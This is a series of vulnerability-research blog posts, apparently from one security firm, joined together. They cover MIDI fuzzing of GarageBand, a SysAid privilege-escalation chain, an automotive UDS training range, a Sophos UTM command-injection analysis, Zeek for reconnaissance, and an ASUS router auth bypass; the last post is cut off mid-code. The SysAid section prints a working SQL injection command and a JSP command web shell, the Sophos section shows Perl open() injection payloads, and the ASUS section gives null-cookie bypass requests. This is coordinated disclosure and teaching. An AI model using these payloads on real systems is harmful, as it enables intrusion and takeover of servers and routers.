Recently, Apple pushed two security fixes for issues in the way GarageBand and Logic Pro X parsed MIDI (musical instrument digital interface) data. GarageBand is free and is available in the default OS X image. Logic Pro X can be purchased in the App Store:
MIDI
Available for: macOS Big Sur 11.5 and later
Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution
Description: A memory initialization issue was addressed with improved memory handling.
CVE-2022-22657: Brandon Perry of Atredis Partners
MIDI
Available for: macOS Big Sur 11.5 and later
Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution
Description: An out-of-bounds read was addressed with improved bounds checking.
CVE-2022-22664: Brandon Perry of Atredis Partners
THE BACKGROUND
I do a lot with music and audio/visual-related work outside of my work at Atredis, but this is the first time my hobby in recording and music directly influenced my bug hunting.
While looking into MIDI support on Linux, I noticed the application Timidity was often used to play MIDI files. Unfortunately, Timidity has been unsupported for a very long time and no official source code repository seemed to exist. However, while playing with it, I got the idea to fuzz Timidity, but not because I wanted to look for any bugs in Timidity itself.
Setting up Timidity to fuzz was simple with AFL (American Fuzzy Lop). Firstly, compile with instrumentation, and you are good to go.
Fuzzing Timidity with AFL
After a few days, I wasn’t finding any more new paths. In the end, I had 100,000 weird MIDI files.
GARAGEBAND AND LOGIC
GarageBand comes installed by default on the latest Macs and is primarily how you play MIDIs on OS X. There are also iPad apps for both GarageBand and Logic Pro X. On OS X, by double-clicking on a MIDI, it will open in GarageBand by default. To me, this implied that I could pass a MIDI to the GarageBand binary as an argument on the command-line.
cd /Applications/GarageBand.app/Content/MacOS/
./GarageBand ~/test.midi
Sure enough, this opened GarageBand and the MIDI. To start running GarageBand against all of my MIDIs, I hacked up this quick bash script.
for i in `ls /Users/bperry/midis/`
do
./GarageBand /Users/bperry/midis/$i&
sleep 15
killall -9 GarageBand
done
Luckily, GarageBand supports logging it’s crash reports with the OS X crash handler, so you get nice crash reports like this.
In the end, I gave Apple 38 crashes. They determined 2 were security-relevant. These issues affected Logic Pro X and GarageBand on OSX and iOS and were fixed in version 10.4.6 of GarageBand and 10.7.3 in Logic Pro X. All of the files I provided Apple are available in the following Github repository.
When approaching opaque targets, it may be better to fuzz a faster and easier alternative and use the generated corpus against the more difficult target. It’s not a perfect technique, but can still be fruitful.
TIMELINE
Dec 2 2021 - Reported issues to Apple
Dec 3 2021 - Response from support confirming receipt
Jan 4 2022 - Atredis requests update
Jan 10 2022 - Atredis requests update
Jan 17 2022 - Apple responds with update
Feb 7 2022 - Atredis requests update
Feb 14 2022 - Atredis requests update
Feb 17 2022 - Apple responds with update. Parties agree to hold details until patch.
Mar 8 2022 - Apple requests credit details
Mar 8 2022 - Atredis confirms credit details
Mar 14 2022 - Details released and patches available.
Atredis Partners found a chain of vulnerabilities in the ITIL product offering by SysAid during personal research. Other competitors to this SysAid product are ManageEngine, Remedy, or other ticketing and workflow systems. The full chain of issues allows an unauthenticated attacker to gain full administrative rights over the ITIL installation and to execute arbitrary code for a local shell.
Atredis only tested the on-premises version of SysAid ITIL. If you are running an on-premises SysAid ITIL system, updating to the latest version will resolve the issues described below. At the time of this writing, the latest version for on-premises customers is 21.2.35.
You can find details from SysAid here: https://www.sysaid.com/product/on-premises/latest-release
Unauthenticated User Registration
First, the /enduserreg endpoint does not respect the server-side setting for allowing anonymous users to register. This requires the instance be set up with outgoing email, but once registered, the email used to register will be sent a new password for the user.
Check your email, then let’s escalate our new user to admin.
SQL Injection
Once authenticated, the authenticated user can escalate their privileges with a stacked UPDATE query. The issue is in the getMobileList method in SysAidUser.java
String str1 = " ";
String str2 = "order by lower(calculated_user_name)";
if (paramString2 != null && paramString2.length() > 0) {
paramString2 = paramString2.toLowerCase();
str1 = " and lower(calculated_user_name) like '%" + paramString2 + "%' ";
}
Above you can see paramString2 is used unsafely in the SQL query. This can used to build a stacked query which updates our user’s row in the database.
curl -H "Cookie: JSESSIONID=$sess" http://192.168.1.113:8080/mobile/SelectUsers.jsp?filterText=1';UPDATE sysaid_user SET administrator=CHAR(89),main_user=CHAR(89) WHERE user_name='[email protected]'--
In the above unencoded HTTP parameter, a stacked query was used to update a column in the user table which will be read during authentication, giving us admin on the SysAid instance.
Arbitrary File Upload
After escalating the privilege, it is possible to relogin as an admin user and upload a JSP shell. However, the shell is not within reach just yet. Next, you can upload an arbitrary file to the server with the UploadPsIcon.jsp endpoint, but this does not immediately make the uploaded file available on the web server. It will return an absolute path on the server though, which we can use at the next step. Note the required Referer header.
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
Arbitrary File Copy
Once uploaded, it is possible to copy a file from an arbitrary absolute path on the server to the directory meant to server images or icons. An absolute path exists from the previous step because it was returned in the response. Using the UserSelfServiceSettings.jsp endpoint, it is possible to pass on a path to copy a file from anywhere on the server itself into the web application to be available via an HTTP request. Note the required Referer header.
Once we have the file copied, it’s now possible to request a shell. Be sure to not use cookies. The configuration of the web server by default treats requests by authenticated users differently, and referencing the shell can only happen with an unauthenticated HTTP request.
uds-zoo is a project created by Chris Bellows and Tom Steele at Atredis Partners.
Today we are releasing a new project that will be useful for learning and exploration of attacking and defending automotive targets, specifically Unified Diagnostic Services (UDS/ISO-14229).
There are many resources (books/blogs/papers) that can get you started down the path of learning to interrogate automotive systems. These typically focus on the controller area network (CAN) bus as the target. It is easy to follow along using an inexpensive USB adapter and (if you have the stomach for it) your vehicle, or alternatively a simulator. In contrast, UDS is usually only given a cursory overview. Most sources focus on conducting discovery of servers and services on the network, with examples interacting with a handful of services.
While it is possible for someone to follow along on their own vehicle, executing discovery and enumeration of UDS services (which is a great learning exercise), you are not guaranteed to run into a vulnerability or misconfiguration. For example, on a secured device most interesting services require the client to establish a non-default session and successfully authenticate as seen in the following table:
It is worth noting that the UDS specification (ISO-14229) is intended to be a guide and leaves the underlying implementations up to the developer, so the items marked with * may or may not be accessible depending on the service implementation or request parameters.
Besides using your own vehicle, the other option that is available would be to buy an engine control unit (ECU) to test outside of a car directly. This option is much cheaper than purchasing an entire car, except it still requires providing power as well as any signals the device may require to enter a running state. You may ultimately end up in the same situation where the device has been designed to require authentication to access most services.
These pain-points led to the idea of creating a framework designed to allow someone to explore example UDS servers with common vulnerabilities. After some internal brainstorming on how to implement the framework, we decided to abstract away all of the underlying layers (CAN/ISO-TP) and emulate only the UDS application layer. By only emulating the application layer, the tool is not tied to a specific platform and does not require the user to setup or configure system interfaces or drivers (CAN/ISO-TP).
The application is designed to be extensible and includes a handful of example “levels” that provide a capture-the-flag style experience. In addition to the example levels, a bare-bones example level is provided to get you started designing your own. By default the application provides its own interface to interact with and complete the included levels that is accessible using a web browser:
Snazzy Web -1.0 Interface
The framework and associated application server is written in Go, and we have provided Docker tooling for convenience.
For those who would rather have a more realistic experience, we also created a small Python program (isotp_gateway) that that will expose the challenges over a virtual can interface:
After starting the gateway, each level will be accessible over the virtual can interface and can be interacted with using whatever tool you’d like. For instance, using isotpsend to interact with Level1:
$ echo 22 13 37 | isotpsend -s 0x01 -d 0x90 vcan0
We look forward to community contributions and implementing additional exercises in the future.
Note: Sophos fixed this issue in September 2020. Information about patch availability is in their security advisory.
Overview
On a recent client engagement I was placed in a Virtual Private Cloud (VPC) instance with the goal of gaining access to other VPCs. During enumeration of attack surface I came across a Sophos UTM 9 device:
When reviewing known vulnerabilities in these Sophos UTM devices, I came across CVE-2020-25223. The only information I could find about this vulnerability was that it was an unauthenticated remote command execution bug that affected several versions of the product:
A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11
After confirming with our client that they were running a vulnerable version, I posted to Twitter and a couple Slacks to see if anyone had any details on the vulnerability, and then set off on what I thought would be a quick adventure, but turned out not to be so quick in the end.
This blog post tells the story of that adventure and how in the end I was able to identify the preauth RCE.
Use the force Diffs, Luke Justin.
When looking for the details on a known patched bug, I started off the same way any sane person would, comparing the differences between an unpatched version and a patched version.
I grabbed ISOs for versions 9.510-5 and 9.511-2 of the Sophos UTM platform and spun them up in a lab environment. Truth be told I ended up spinning up six different versions, but the two I mentioned were what I ended up comparing in the end.
Enabling Remote Access
A nice feature on the Sophos UTM appliances is that once the instance is spun up, you can enable SSH, import your keys, and access the device as root using the Management -> System Settings -> Shell Access functionality in the web interface:
Then it's just a matter of SSH'ing into the instance:
$ ssh [email protected]
Last login: Mon Aug 16 14:37:00 2021 from 192.168.50.178
Sophos UTM
(C) Copyright 2000-2017 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.
For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt
NOTE: If not explicitly approved by Sophos support, any modifications
done by root will void your support.
sophos:/root #
Where's the code?
I proxied all web traffic to the instances through Burp and found that the webadmin.plx endpoint handles a majority of the incoming web traffic. For instance, the following HTTP POST request is made when navigating to the instance, unauthenticated:
Huh, ok...I was hoping for something easy like some PHP or Python or something. After poking at the ELF for a while and digging around online I came across the following writeup (I don't know where the original is, I'm sorry):
It seems like I'm not the first person to assess one of these devices, and honestly, this writeup probably saved me several more hours of poking around. The gist of the writeup is that the author found that the .plx files are Perl files that have been compiled using ActiveState's Perl Dev Kit and that you can access the original source by running the .plx file in a debugger, setting a break point, and recovering the script from memory.
I went through this process and it worked surprisingly well. Note for the author of the writeup: you can use an SSH tunnel to hit the IDA debugger running on the Sophos UTM instance.
Ok... but where's the rest of the code...?
At this point I had access to the webadmin.plx code (which is actually asg.plx and is actually Perl code) which was great, but there was a big problem: the asg.plx file isn't a massive file with all of the code. I needed access to the Perl modules that asgx.plx imports, like:
# astaro stuff ---------------------------------------------
use Astaro::Logdispatcher;
use Astaro::Time::Zone qw/lgdiff/;
# necessary core modules -----------------------------------
use core::modules::core_globals;
use core::modules::core_tools;
asg.plx:20-26
I wish I could say I was able to get access to this code quickly and easily, and in the end it was as simple as extracting it with the right tools, but I didn't know that at the time and I stumbled and crawled a great distance along the way.
I was able to confirm that the modules that were imported by asg.plx would be accessible by taking memory dumps of the process and using strings to find bits and pieces of code, so on the bright side, the code was definitely there.
After a couple late nights of trying different things like extracting code from memory dumps, patching the binaries, etc... I posted the problem and the webadmin.plx file in work chat. There were great suggestions on using LD_PRELOAD on libperl.so or using binary instrumentation with frida or PIN to get access to the source code, but then one of our great reverse engineers found that the file actually had a BFS filesystem embedded at the end of the ELF file, and in a couple minutes was able to put together a script that could then be used with https://github.com/the6p4c/bfs_extract to extract the filesystem (and with that, the source).
The script can be found here:
import sys
import struct
class BFS:
def __init__(self, data):
self.data = data
@classmethod
def open(cls, path):
with open(path, 'r+b') as f:
f.seek(-12, 2)
magic_chunk = f.read(12)
pointer_header = struct.unpack('<III', magic_chunk)
assert(pointer_header[0] == 0xab2155bc)
f.seek(-12 - pointer_header[2], 2)
data = f.read(pointer_header[2])
return cls(data)
bfs = BFS.open(sys.argv[1])
with open(sys.argv[2], 'wb') as outf:
outf.write(bfs.data)
$ bfs_extract.sh webadmin.plx extracted/
Found file DateTime/TimeZone/America/Indiana/Vevay.pm
Offset: 1ab4c
Found file Astaro/Confd/Object/time/single.pm
Offset: 1b6a4
Found file auto/Net/SSLeay/httpx_cat.al
Offset: 1b8a4
Found file auto/NetAddr/IP/InetBase/inet_any2n.al
Watching the thousands of source files extracting from the .plx file was beautiful, I almost cried tears of joy.
Back to the Diffs
I spent a fair amount of time extracting the source code out of the .plx files from the UTM instances and also pulled the entire /var/sec/chroot-httpd/ directory to capture any differences in configuration files. My tool of choice for reviewing diffs is Meld as it lets me quickly and visually review diffs of directories and files:
Between the versions, the only change was in the wfe/asg/modules/asg_connector.pm file:
The change in this file can be seen in meld below:
The updated code shows a check being added to the switch_session subroutine make sure the SID (Session ID) does not contain any other characters other than alphanumeric characters; so it's likely that the vulnerability sources from the value of SID.
Going Down the Rabbit Hole
The only place the switch_session subroutine is called is from the do_connect subroutine:
$ ag switch_session
wfe/asg/modules/asg_connector.pm
68:# just a wrapper for switch_session
71: return $self->switch_session(@_);
76:sub switch_session {
81: &main::msg('d', "Called " . __PACKAGE__ . "::switch_session()");
The do_connect subroutine just appears to be a wrapper for the switch_session subroutine:
# just a wrapper for switch_session
sub do_connect {
my $self = shift;
return $self->switch_session(@_);
}
wfe/asg/modules/asg_connector.pm:68-72
The do_connect subroutine is used in various places in the code:
$ ag do_connect
wfe/asg/modules/asg_login.pm
290: $SID = $sys->do_connect($config->{backend_address});
wfe/asg/modules/asg_misc.pm
110: $SID = $sys->do_connect($config->{backend_address},$vars->{SID}) if $vars->{SID};
wfe/asg/modules/asg_main.pm
55: $SID = $sys ? $sys->do_connect($config->{backend_address}, $_cookies->{SID}->value) : undef;
wfe/asg/modules/asg_connector.pm
69:sub do_connect {
core/modules/core_connector.pm
30:# renamed connect to do_connect for avoid confusion with
32:sub do_connect {
33: die __PACKAGE__ . '::do_connect() has to be implemented by inherting module!';
asg.plx
190: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
216: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
325: if ( $cookies->{SID} and ( $cookies->{SID} eq $SID or $SID = $sys->do_connect($config->{backend_address}, $cookies->{SID}) ) ) {
Knowing that asg.plx is the script name of webadmin.plx, let's take a look there first:
# POST request - means JSON request
if ( $ENV{'REQUEST_METHOD'} eq 'POST' ) {
# no further processing in case of content-type violation
goto REQ_OUTPUT if $req->{ct_violation};
# switch our identity if necessary
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
asg.plx:209-216
The do_connect subroutine is used at the start of the HTTP POST request handling and also takes SID so we should be able to hit it with any HTTP POST request.
Throughout the code there are references to confd which is a backend service that the httpd frontend communicates with over RPC. When making an HTTP POST request to webadmin.plx, the httpd service connects to confd and sends it some data, such as SID, that's what we are seeing with:
So when an HTTP POST request is made, the SID is sent to confd where it is checked to see if it's a valid session identifier. This can be seen in the log files in /var/log/ on the appliance. If we make the following request with an invalid SID:
The confd service responds back to the httpd service that the SID does not exist and we can see that error occur in the /var/log/webadmin.log log file:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: W No backend for SID = ATREDIS...
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: 1. main::top-level:221() asg.plx
/var/log/webadmin.log
Let's see what exactly happens with the SID value that we supply in our HTTP POST request. When the connection to confd is made, confd attempts to read the stored SID from the confd sessions directory at $config::session_dir (/var/confd/var/sessions):
my $new = read_storage("$config::session_dir/$session->{SID}");
Session.pm:189
The read_storage subroutine takes a $file which in this case is SID and passes it to the Storable::lock_retrieve subroutine:
# read from Perl Storable file
sub read_storage {
my $file = shift;
my $href;
require Storable;
eval { local $SIG{'__DIE__'}; $href = Storable::lock_retrieve($file); };
return if $@;
return unless ref $href eq 'HASH';
return $href;
}
Astaro/file.pm:350-361
The lock_retrieve subroutine calls the _retrieve subroutine:
sub lock_retrieve {
_retrieve($_[0], 1);
}
auto/Storable/lock_retrieve.al:12-14
The _retrieve subroutine then calls open() on the file:
sub _retrieve {
my ($file, $use_locking) = @_;
local *FILE;
open(FILE, $file) || logcroak "can't open $file: $!";
auto/Storable/_retrieve.al:8-11
In Perl, open() can be a dangerous function when user-supplied data is passed as the second argument. You can learn more about this in Perl's official documentation here, but this quick example demonstrates the danger:
#!/usr/bin/perl
my $a = "|id";
local *FILE;
open(FILE, $a);
In the case of the UTM appliance, the user-supplied SID value is passed to the second argument of open(). That seems pretty straight forward to exploit, right? Let's give it a shot. We'll attempt to run the command touch /tmp/pwned:
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: W No backend for SID = 0ouch /tmp...
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]:
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: 1. main::top-level:221() asg.plx
/var/log/webadmin.log
Hmm... The SID in the logs is 0ouch /tmp/pwned, that's not what we sent...
Say Diff Again!
At this point I knew exactly what the issue was. Remember at the beginning of this writeup when I said that I like to diff both source code and configuration files? Meet the other diff between versions:
Reviewing the httpd-webadmin.conf configuration file in /var/chroot-httpd/etc/httpd/vhost shows us this almost-show-stopper:
Any HTTP requests coming into webadmin.plx are processed by InputSed which matches and replaces our "SID":"| JSON body with "SID":"0. This can be visually seen on regex101.com:
After spending some time attempting to bypass the regex and try different payloads, I had a thought... This input filter only triggers when the location matches webadmin.plx. And then I saw it and it was beautiful:
Making an HTTP request to the /var endpoint is the same as making a request to the /webadmin.plx endpoint, but without the filter. Making the request again, but to the new endpoint:
In one of my many former lives (and occasionally in this one) I played "defense", wading through network traffic, logs, etc. for Bad Things™. Outside of the standard FOSS (and even commercial) tools for doing that, I grew to have a real fondness for Zeek, which is often the cornerstone for other network security monitoring (NSM) products and platforms. These days, I use Zeek primarily for NSM purposes and profiling of IoT (and other embedded) devices we at Atredis are either testing or researching.
However, some people may not be aware of the potential for using Zeek in red team or network penetration testing capacities. In this post, I'll touch briefly on Zeek's capabilities and then get into a few examples of using Zeek to help guide/inform testing efforts.
Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting.
First created in 1994, it was originally known as "Bro" (as in "Big Brother", a nod to George Orwell's 1984). Zeek consists of a very powerful pipeline for processing packets, assembling them into streams, analyzing fields/contents, extracting metadata/files, outputting to various sources/formats, etc. Zeek is also a core component of platforms like Security Onion, Malcolm, Corelight, Bricata, etc.
Why a "defensive" tool?
You might be asking yourself -- er, rather me, but rhetorically -- this question. The reason is simple: using tcpdump, Wireshark, and their ilk in offensive operations is not altogether different. In fact, SANS SEC503 ("Intrusion Detection In-Depth") covers using these tools for their intended, non offense purposes. The other reason is that while full content captures are great, you don't always need them. Moreover, these tools can all complement each other (i.e., use Zeek for broader analysis and statistics, and keep your tcpdump and Wireshark for more thorough, full content analyses).
Installation and Setup
I'm not going to cover "how to install Zeek" in this post, as it's very well-documented in the Book of Zeek. However, there are a couple of things to enable for the purposes of the examples herein.
Zeek JSON Logs
The default format for Zeek logs is tab-delimited. However, I prefer Zeek's JSON-formatted logs for easier parsing with tools like jq. JSON log output is easy to enable by adding (or uncommenting) the following line in local.zeek:
@load policy/tuning/json-logs.zeek
MAC Address Logging
Although this isn't totally pertinent to the examples later on, I find MAC address logging hugely helpful for host/device identification. Turning on the following option in local.zeek will add layer 2 source/destination fields to entries in conn.log:
Hosts, ports, bytes transferred, transport layer protocols, etc.
dns.log
Queries, query types, answers
http.log
Hostnames, URIs, HTTP verbs, etc.
files.log
File types, filenames, hashes, etc.
ftp.log
Users, commands, paths, etc.
ssl.log
SSL/TLS versions, ciphers, hostnames, server ports, etc.
x509.log
Cert versions, cert subjects, cert, issuers, dates, etc.
smtp.log
Senders, recipients, subjects, message bodies, routes/paths, etc.
ssh.log
Client/server versions, algorithms, pubkey fingerprints, etc.
pe.log
Architectures, OSes, PE sections, debug info
dhcp.log
Message types, assigned addresses, MAC addresses, hostnames, etc.
ntp.log
Times, versions, strata, offsets, clients/servers, etc.
SMB Logs (plus DCE-RPC, Kerberos, NTLM)
SMB share mappings, DCE-RPC call info, Kerberos KDC interactions, etc.
irc.log
Commands, nicks/users, etc.
rdp.log
Hosts, security protocols, cookies, etc.
traceroute.log
Source/dest, protocols, ports
tunnel.log
(Typically Teredo) tunnel types, actions, hosts, etc.
dpd.log
Used for reporting problems with Dynamic Protocol Detection
known_*.log and software.log
Which ports/hosts and software (versions) were observed
weird.log and notice.log
Issues where protocols deviated from norm
capture_loss.log and reporter.log
Diagnostic
Of course, there are other logs specific to other protocols, such as modbus.log, dnp3.log, mqtt.log, etc.
Log Correlation
Log entries are also assigned IDs (uid) for correlation across different log types. For example, a connection (in conn.log) might correspond to an HTTP request (http.log). That HTTP request may have downloaded a file (files.log), which was a Portable Executable (PE) (whose analysis shows up in pe.log). This is seen in the following example. First, we'll start with conn.log:
In the above log entry, we see a few additional fields, such as the uri, method, host, etc. -- all items specific to HTTP. Additionally, the value in resp_fuids (FnFzCVkm11eShPHLb) corresponds to a unique ID for the file associated with this request. This value is observed in the fuid field of the files.log entry shown below:
Finally, as this was a PE, it was examined by Zeek's PE analyzer. In the following pe.log entry, we see FnFzCVkm11eShPHLb in the id field, along with additional information about the binary:
With some of these high-level basics out of the way, I'll now go into some more specific examples.
The Scenario
On a recent attack simulation project, our team was dropped onto a customer's highly critical OT/ICS network, with the directive of being extremely diligent to avoid any sort of disruption of controllers, supervisory systems, management systems, etc. Rules around scanning, discovery, and enumeration activities were very prohibitive. However, we were provided access to a monitoring/SPAN port which mirrored traffic from certain network segments. This was a perfect source of data to analyze with Zeek, and helped further guide our active testing efforts while respecting the customer's constraints.
For the following examples, we'll be using jq to parse Zeek's various logs in a syntax like jq [query] [log file].
Extracting DNS queries from dns.log
Perhaps the simplest -- and maybe most obvious -- example is using Zeek's dns.log to gather information on DNS queries.
Finding listening services (or "scanning without scanning")
In lieu of sending traffic to the target network(s), we let Zeek do the heavy lifting in analyzing which hosts are likely listening on which ports, and which application-layer protocols are observed on those ports.
In this example, we query the connection log (conn.log) to see which hosts are talking across subnets. This is useful when trying to identify possible pivots.
Hosts with access to other subnets and respective destination ports
We can take the above example a step further and also query for the ports associated with the conversation(s) to get even more insight about the relationships between hosts/devices.
Zeek's HTTP analyzer will extract elements from HTTP requests, including the method, URI, User-Agent, etc. In the following example, we query for any uri field with the string sessionID (with a case insensitive match).
Zeek's software.log can be used to identify which applications/services and their respective versions (where available) are observed, including both clients and servers, as shown in the following example.
The VNC (or, rather, "RFB") analyzer can pull additional information about VNC servers and display names. In the following example, we query the rfb.log to identify which VNC servers were observed.
Correlating from an HTTP request to an extracted file
Here we have a longer, albeit distilled example to demonstrate correlating an HTTP request down to an extracted file. In this case, we wanted to identify XML files containing configuration data, such as credentials. First we'll look in http.log for any (plaintext) HTTP requests that fetched an XML file.
As an identifier for a file (fuid) was returned, we know there was a file associated with this. So, we then want to identify the name of the extracted file by querying files.log.
This post probably does very little justice to just how powerful Zeek truly is, and barely scratches the surface of its usefulness for both defense and offense. Shuttling Zeek logs into something like Elasticsearch can provide tremendous awareness about network activity, but that's not always possible (or reasonable) in an offensive operation. Combined with a tool like jq -- and a source of network traffic, of course -- Zeek's capabilities can be quickly and easily leveraged to gain more insight into the target network and hosts/devices.
For anyone interested in doing more with Zeek from either angle, here are a few recommended resources:
In a previous blog post I had presented a creative method to resurrect a bricked device, in this post I will go over a vulnerability discovered within the running firmware.
When assessing a device, one of the first steps is to gain access to a copy of the software running on the device to assist in the process of understanding how it works. Firmware can be retrieved for a target either by downloading it from the manufacturer or extracting it from the target. In this case, the device manufacturer (ASUS) provides firmware updates. The firmware running on the target at the time of testing can be accessed at the following location:
The decompressed CFE image can be easily extracted using the excellent binwalk tool (ensure that ubi_reader and jefferson dependencies are installed first):
binwalk -e GT-AC2900_3.0.0.4_384_82072-gc842320_cferom_ubi.w
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
144300 0x233AC SHA256 hash constants, little endian
144572 0x234BC CRC32 polynomial table, little endian
276396 0x437AC SHA256 hash constants, little endian
276668 0x438BC CRC32 polynomial table, little endian
408492 0x63BAC SHA256 hash constants, little endian
408764 0x63CBC CRC32 polynomial table, little endian
540588 0x83FAC SHA256 hash constants, little endian
540860 0x840BC CRC32 polynomial table, little endian
672684 0xA43AC SHA256 hash constants, little endian
672956 0xA44BC CRC32 polynomial table, little endian
804780 0xC47AC SHA256 hash constants, little endian
805052 0xC48BC CRC32 polynomial table, little endian
1048576 0x100000 JFFS2 filesystem, little endian
4456448 0x440000 UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000
ls -alh _GT-AC2900_3.0.0.4_384_82072-gc842320_cferom_ubi.w.extracted/
total 130M
drwxrwxr-x 4 chris chris 4.0K Jan 21 20:11 .
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:10 ..
-rw-rw-r-- 1 chris chris 67M Jan 21 20:10 100000.jffs2
-rw-rw-r-- 1 chris chris 64M Jan 21 20:11 440000.ubi
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:11 jffs2-root
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:11 ubifs-root
Normally this would be the point where you would start digging for bugs; however, ASUS provides a nice GPL archive for their devices:
The archive contains just about everything you would need to build a working firmware image. The main caveat is that ASUS ships the interesting parts as prebuilt objects instead of the actual source. With that small detour out of the way, we can get back to the bug.
How it’s going
The ASUS GT-AC2900 device's administrative web application utilizes a session cookie (asus_token) to manage session states. While auditing the session handling functionality, I found that the validation of this cookie fails when the following occurs:
The submitted asus_token starts with a Null (0x0)
The request User-Agent matches an internal service UA (asusrouter--)
The device has not been configured with an ifttt_token (default state)
This condition results in the server incorrectly identifying the request as being authenticated. The following example shows a normal request and response for valid session:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
The following shows that the same request fails in the case an invalid asus_token is provided:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"error_status":"2"
}
If a Null character is placed at the front of the asus_token, the request will be incorrectly identified as being authenticated, as seen in the following request and response:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
How it’s actually going
Authentication and validation of requests occurs within the function handle_request, specifically through the function auth_check, which can be seen in the following code excerpt from the GPL source archive:
The auth_check function is implemented within a compiled object (web_hook.o) which validates the received session identifier is valid. The process is broken down to the following items at a high level:
Check that the request cookies contain an asus_token
Check if the extracted asus_token exists within the current session list
Check if the extracted asus_token is a stored service token (IFTTT/Alexa)
The following decompiled pseudocode shows the underlying code responsible for carrying out this process:
router/httpd/prebuild/web_hook.o - auth_check
int __fastcall auth_check(char *dirname, char *authorization, const char *url, char *file, char *cookies, int fromapp_flag)
{
void *v7; // r0
bool v8; // cc
char *v9; // r5
int *v10; // r0
int v11; // r5
int *v12; // r4
int v13; // r0
int v14; // r0
bool v15; // cc
char *v16; // r5
int *v17; // r0
int result; // r0
char *pAsusTokenKeyStart; // r0
char *pAsusTokenValueStart; // r9
size_t space_count; // r0
unsigned int v22; // r2
int *v23; // r0
int v24; // r5
int *v25; // r4
int v26; // [sp+10h] [bp-50h]
char user_token[32]; // [sp+1Ch] [bp-44h] BYREF
v7 = memset(user_token, 0, sizeof(user_token));
v26 = cur_login_ip_type;
...
...
...
result = auth_passwd;
if ( auth_passwd )
{
// check that the request has a cookie header set and the asus_token cookie exists
// example header - Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
if ( !cookies || (pAsusTokenKeyStart = strstr(cookies, "asus_token")) == 0 ) // <-----
{
// check if this is the first access for initial setup - this is skipped
if ( !is_firsttime() ) // <-----
{
add_try = 0;
return 1;
}
goto PAGE_REDIRECT;
}
// find the location of the asus_token value
pAsusTokenValueStart = pAsusTokenKeyStart + 11; // <-----
space_count = strspn(pAsusTokenKeyStart + 11, " \t"); // <-----
// set the user_token variable to the extracted value from the user request
snprintf(user_token, 0x20u, "%s", &pAsusTokenValueStart[space_count]); // <-----
// validate the user_token value, check_ifttt_token returns 1, causing the if statement to be skipped that would normally result in an authentication failure
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
